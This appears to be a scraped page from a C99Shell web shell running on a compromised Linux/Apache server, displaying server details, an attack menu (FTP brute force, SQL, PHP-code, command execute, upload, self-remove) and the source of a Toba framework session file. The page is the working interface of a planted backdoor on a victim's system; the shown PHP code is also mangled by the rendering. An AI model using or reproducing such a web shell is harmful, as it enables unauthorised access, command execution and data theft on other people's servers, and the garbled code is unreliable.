!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/modelo/info/transversales/   drwxr-xr-x
Free 14.52 GB of 61.93 GB (23.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_sesion_info.php (2.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class toba_sesion_info extends toba_elemento_transversal_info
{
    
    function 
ini()
    {
        
$proyecto quote($this->_id['proyecto']);
        
$sql "SELECT
                    pm_sesion,
                    sesion_subclase,
                    sesion_subclase_archivo
                FROM apex_proyecto
                WHERE proyecto = 
$proyecto;";

        
$this->_datos['_info'] = toba::db()->consultar_fila($sql);
        
toba::logger()->debug($sql);
    }

    function  
set_subclase($nombre$archivo$pm)
    {
        
$proyecto quote($this->_id['proyecto']);
        
$archivo quote($archivo);
        
$nombre quote($nombre);
        
$pm quote($pm);
        
        
$sql "UPDATE apex_proyecto
                    SET        sesion_subclase = 
$nombre,
                        sesion_subclase_archivo = 
$archivo,
                        pm_sesion = 
$pm
                    WHERE    proyecto = 
$proyecto;";

        
toba::logger()->debug($sql);
        
$db->ejecutar($sql);
    }

    function 
get_clase_nombre()
    {
        return 
'toba_sesion'
    }

    function 
get_clase_archivo()
    {
        return 
'nucleo/lib/toba_sesion.php';
    }

    function 
get_punto_montaje()
    {
        return 
$this->_datos['_info']['pm_sesion'];
    }


    function 
get_subclase_nombre()
    {
        return 
$this->_datos['_info']['sesion_subclase'];
    }

    function 
get_subclase_archivo()
    {
        return 
$this->_datos['_info']['sesion_subclase_archivo'];
    }

    function 
get_molde_subclase()
    {
        
$molde $this->get_molde_vacio();
        
$molde->agregar_bloque($this->get_bloque_extension());        
        return 
$molde;
    }

    function 
get_bloque_extension()
    {
        
$bloque = array();
        
        
$doc = array('Atrapa el inicio de la sesión del usuario en la instancia (unica vez en toda la sesión)');
        
$metodo = new toba_codigo_metodo_php('conf__inicial', array('$datos = null'), $doc);
        
$bloque[] = $metodo;

        
$doc = array('Atrapa el fin de la sesión del usuario en la instancia (el usuario presiono salir)');
        
$metodo = new toba_codigo_metodo_php('conf__final', array(), $doc);
        
$bloque[] = $metodo;

        
$doc = array('Atrapa la activación de la sesión en cada pedido de página (similar a toba::contexto_ejecucion()->conf__inicial pero se ejecuta sólo con el usuario logueado)');
        
$metodo = new toba_codigo_metodo_php('conf__activacion', array(), $doc);
        
$bloque[] = $metodo;
        
        return 
$bloque;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6447 ]--